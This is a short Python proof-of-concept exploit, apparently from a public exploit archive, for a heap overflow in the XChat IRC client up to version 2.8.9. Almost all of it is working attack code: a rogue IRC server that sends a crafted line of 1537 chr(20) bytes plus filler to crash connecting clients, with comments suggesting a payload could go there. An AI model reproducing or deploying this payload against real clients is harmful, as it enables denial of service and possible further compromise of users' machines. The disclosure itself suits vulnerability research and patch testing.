XChat 2.8.9 Heap Overflow

`#!/usr/bin/python  
  
# Exploit Title: XChat Heap Overflow DoS Proof of Concept  
# Date: June 2011  
# Author: th3p4tri0t  
# Software Link: http://xchat.org/  
# Version: <= 2.8.9  
  
# This only works on XChat on KDE, I'm not sure about windows.  
# It has been tested on Ubuntu (failed), Kubuntu, and Bactrack 5  
# It is a heap overflow and is some sort of error with X Windows  
# It uses 1537 (this is the minimum) of the ascii value 20  
# after this, an unknown number of any other character (did not check for special  
# characters) is required to trigger a crash, presumably the payload will go here.  
  
# th3p4tri0t  
  
import socket  
  
print "XChat PoC Exploit by th3p4tri0t\n"  
  
print "Creating server..."  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
print " [*] Binding to socket..."  
sock.bind(('127.0.0.1', 6667))  
  
print " [*] Listening on socket..."  
sock.listen(5)  
  
print " [*] Accepting connection..."  
(target, address) = sock.accept()  
  
print " [*] Sending payload..."  
buffer = "hybrid7.debian.local "  
buffer += chr(20) * 1537 # minimum required of this character  
buffer += "A"*4000 # anything can go here and it still works.  
buffer += " :*\r\n"  
  
target.send(buffer)  
  
target.close  
sock.close  
  
`